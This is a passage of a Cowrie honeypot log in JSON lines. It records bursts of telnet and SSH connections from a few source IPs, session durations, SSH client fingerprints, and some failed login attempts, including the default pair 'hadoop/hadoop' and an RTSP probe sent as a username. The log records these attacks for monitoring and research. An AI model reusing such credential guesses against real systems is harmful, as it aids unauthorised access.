{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42184,"dst_ip":"10.17.0.5","dst_port":23,"session":"7213392d483a","protocol":"telnet","message":"New connection: 34.14.70.29:42184 (10.17.0.5:23) [session: 7213392d483a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:17.679463Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42198,"dst_ip":"10.17.0.5","dst_port":23,"session":"b539747fdbc8","protocol":"telnet","message":"New connection: 34.14.70.29:42198 (10.17.0.5:23) [session: b539747fdbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:17.838657Z"}
{"eventid":"cowrie.session.closed","duration":0.00509953498840332,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:17.843646Z","src_ip":"34.14.70.29","session":"b539747fdbc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42200,"dst_ip":"10.17.0.5","dst_port":23,"session":"430701ec585f","protocol":"telnet","message":"New connection: 34.14.70.29:42200 (10.17.0.5:23) [session: 430701ec585f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:17.997041Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42208,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ebcd7e7e5be","protocol":"telnet","message":"New connection: 34.14.70.29:42208 (10.17.0.5:23) [session: 1ebcd7e7e5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:18.152576Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42218,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9d1b150ed2d","protocol":"telnet","message":"New connection: 34.14.70.29:42218 (10.17.0.5:23) [session: f9d1b150ed2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:18.309402Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42230,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc77e96254c7","protocol":"telnet","message":"New connection: 34.14.70.29:42230 (10.17.0.5:23) [session: dc77e96254c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:18.466516Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42238,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e38362c8a1","protocol":"telnet","message":"New connection: 34.14.70.29:42238 (10.17.0.5:23) [session: a4e38362c8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:18.622571Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42248,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d56d10faa77","protocol":"telnet","message":"New connection: 34.14.70.29:42248 (10.17.0.5:23) [session: 6d56d10faa77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:18.777417Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42264,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b48cc34af48","protocol":"telnet","message":"New connection: 34.14.70.29:42264 (10.17.0.5:23) [session: 5b48cc34af48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:18.932479Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42274,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d3a30928db","protocol":"telnet","message":"New connection: 34.14.70.29:42274 (10.17.0.5:23) [session: 38d3a30928db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:19.089911Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":42284,"dst_ip":"10.17.0.5","dst_port":23,"session":"4463eec6cfc2","protocol":"telnet","message":"New connection: 34.14.70.29:42284 (10.17.0.5:23) [session: 4463eec6cfc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:19.244669Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:19.250268Z","src_ip":"34.14.70.29","session":"4463eec6cfc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":10466,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9629aa49aaf","protocol":"telnet","message":"New connection: 34.14.70.29:10466 (10.17.0.5:23) [session: c9629aa49aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:19.404736Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":10480,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3b77cc03593","protocol":"telnet","message":"New connection: 34.14.70.29:10480 (10.17.0.5:23) [session: b3b77cc03593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:19.559299Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":10496,"dst_ip":"10.17.0.5","dst_port":23,"session":"5375224f19d5","protocol":"telnet","message":"New connection: 34.14.70.29:10496 (10.17.0.5:23) [session: 5375224f19d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:19.713768Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":10512,"dst_ip":"10.17.0.5","dst_port":23,"session":"e831ff49ffc5","protocol":"telnet","message":"New connection: 34.14.70.29:10512 (10.17.0.5:23) [session: e831ff49ffc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:19.868335Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":10522,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d85be2c15d9","protocol":"telnet","message":"New connection: 34.14.70.29:10522 (10.17.0.5:23) [session: 1d85be2c15d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:20.026160Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":10538,"dst_ip":"10.17.0.5","dst_port":23,"session":"edaf573972da","protocol":"telnet","message":"New connection: 34.14.70.29:10538 (10.17.0.5:23) [session: edaf573972da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:20.180738Z"}
{"eventid":"cowrie.session.closed","duration":0.004995107650756836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:20.185619Z","src_ip":"34.14.70.29","session":"edaf573972da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":10552,"dst_ip":"10.17.0.5","dst_port":23,"session":"d97abd54fd1e","protocol":"telnet","message":"New connection: 34.14.70.29:10552 (10.17.0.5:23) [session: d97abd54fd1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:20.336898Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":10566,"dst_ip":"10.17.0.5","dst_port":23,"session":"911f3a1d7a72","protocol":"telnet","message":"New connection: 34.14.70.29:10566 (10.17.0.5:23) [session: 911f3a1d7a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:20.491423Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 4662","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 4662] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:20.496825Z","src_ip":"34.14.70.29","session":"911f3a1d7a72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.14.70.29","src_port":10580,"dst_ip":"10.17.0.5","dst_port":23,"session":"5081e340f789","protocol":"telnet","message":"New connection: 34.14.70.29:10580 (10.17.0.5:23) [session: 5081e340f789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:20.650530Z"}
{"eventid":"cowrie.session.closed","duration":0.0048258304595947266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:20.655250Z","src_ip":"34.14.70.29","session":"5081e340f789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41624,"dst_ip":"159.203.135.109","dst_port":23,"session":"72800ce242a2","protocol":"telnet","message":"New connection: 69.4.83.194:41624 (159.203.135.109:23) [session: 72800ce242a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:22.049174Z"}
{"eventid":"cowrie.session.closed","duration":34.291752338409424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:28.893629Z","src_ip":"69.4.83.194","session":"d9d795056985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.11813449859619,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:29.995443Z","src_ip":"34.14.70.29","session":"ba8ed0082ea2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.537339925765991,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.028626Z","src_ip":"34.14.70.29","session":"911f3a1d7a72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.91286325454712,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.249668Z","src_ip":"34.14.70.29","session":"d97abd54fd1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.803507804870605,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.253571Z","src_ip":"34.14.70.29","session":"4768635dfd1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.698656558990479,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.257802Z","src_ip":"34.14.70.29","session":"b3b77cc03593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.548095226287842,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.261757Z","src_ip":"34.14.70.29","session":"5375224f19d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.239447593688965,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.265463Z","src_ip":"34.14.70.29","session":"1d85be2c15d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.400920391082764,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.269113Z","src_ip":"34.14.70.29","session":"e831ff49ffc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.029114723205566,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.273664Z","src_ip":"34.14.70.29","session":"4463eec6cfc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.187931776046753,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.277733Z","src_ip":"34.14.70.29","session":"38d3a30928db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.877168655395508,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.281800Z","src_ip":"34.14.70.29","session":"c9629aa49aaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.353080987930298,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.285428Z","src_ip":"34.14.70.29","session":"5b48cc34af48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.512547016143799,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.289859Z","src_ip":"34.14.70.29","session":"6d56d10faa77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.141055345535278,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.293489Z","src_ip":"34.14.70.29","session":"1ebcd7e7e5be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.830755233764648,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.297144Z","src_ip":"34.14.70.29","session":"dc77e96254c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.679097652435303,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.301574Z","src_ip":"34.14.70.29","session":"a4e38362c8a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.626415014266968,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.305749Z","src_ip":"34.14.70.29","session":"7213392d483a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.00014853477478,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.309404Z","src_ip":"34.14.70.29","session":"f9d1b150ed2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.316331148147583,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.313265Z","src_ip":"34.14.70.29","session":"430701ec585f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.174952983856201,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.317084Z","src_ip":"34.14.70.29","session":"4618ce7378de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.02435827255249,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.320863Z","src_ip":"34.14.70.29","session":"87815198017e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.338624477386475,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.325557Z","src_ip":"34.14.70.29","session":"37f0fb7746cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.810779809951782,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.329852Z","src_ip":"34.14.70.29","session":"1982ea1f344c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.502989530563354,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.333753Z","src_ip":"34.14.70.29","session":"8e414bd23d54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.662742137908936,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.337477Z","src_ip":"34.14.70.29","session":"855f30d0a97a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.984741926193237,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.341049Z","src_ip":"34.14.70.29","session":"0d04c4c96dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.144269227981567,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:30.344892Z","src_ip":"34.14.70.29","session":"bd91c68d639e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.15127301216125,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:31.632819Z","src_ip":"178.128.93.180","session":"6b2dfac9f3af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":39000,"dst_ip":"10.17.0.5","dst_port":23,"session":"20f994efe42d","protocol":"telnet","message":"New connection: 178.128.93.180:39000 (10.17.0.5:23) [session: 20f994efe42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:32.264669Z"}
{"eventid":"cowrie.session.closed","duration":74.39971160888672,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:35.133113Z","src_ip":"178.128.93.180","session":"317896885ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.72041845321655,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:35.790918Z","src_ip":"178.128.93.180","session":"55d461e5c6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36992,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c911b48b28","protocol":"ssh","message":"New connection: 168.167.72.132:36992 (159.203.135.109:22) [session: e0c911b48b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:37.459811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:37.464489Z","src_ip":"168.167.72.132","session":"e0c911b48b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:37.719227Z","src_ip":"168.167.72.132","session":"e0c911b48b28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:38.770645Z","src_ip":"168.167.72.132","session":"e0c911b48b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:40.028008Z","src_ip":"168.167.72.132","session":"e0c911b48b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.4759418964386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:54.525017Z","src_ip":"69.4.83.194","session":"72800ce242a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":47906,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bf71726c81c","protocol":"telnet","message":"New connection: 165.22.57.101:47906 (159.203.135.109:23) [session: 8bf71726c81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:19:57.034143Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33746,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8c8f58efd27","protocol":"telnet","message":"New connection: 69.4.83.194:33746 (159.203.135.109:23) [session: f8c8f58efd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:20:16.806886Z"}
{"eventid":"cowrie.session.closed","duration":34.14068150520325,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:20:31.174742Z","src_ip":"165.22.57.101","session":"8bf71726c81c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.48953580856323,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:20:33.754082Z","src_ip":"178.128.93.180","session":"20f994efe42d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47138,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a15fb52b539","protocol":"telnet","message":"New connection: 69.4.83.194:47138 (159.203.135.109:23) [session: 0a15fb52b539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:20:49.696776Z"}
{"eventid":"cowrie.session.closed","duration":35.22836375236511,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:20:52.035076Z","src_ip":"69.4.83.194","session":"f8c8f58efd27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46094,"dst_ip":"159.203.135.109","dst_port":23,"session":"56140e667ce9","protocol":"telnet","message":"New connection: 69.4.83.194:46094 (159.203.135.109:23) [session: 56140e667ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:20:53.962822Z"}
{"eventid":"cowrie.session.closed","duration":1.0650572776794434,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:20:55.027787Z","src_ip":"69.4.83.194","session":"56140e667ce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51136,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fa7bd97363e","protocol":"telnet","message":"New connection: 69.4.83.194:51136 (159.203.135.109:23) [session: 5fa7bd97363e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:01.067514Z"}
{"eventid":"cowrie.session.closed","duration":33.71284890174866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:23.409506Z","src_ip":"69.4.83.194","session":"0a15fb52b539","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36993,"dst_ip":"159.203.135.109","dst_port":22,"session":"736f15ed8fe8","protocol":"ssh","message":"New connection: 168.167.72.132:36993 (159.203.135.109:22) [session: 736f15ed8fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:27.974984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:27.983601Z","src_ip":"168.167.72.132","session":"736f15ed8fe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ec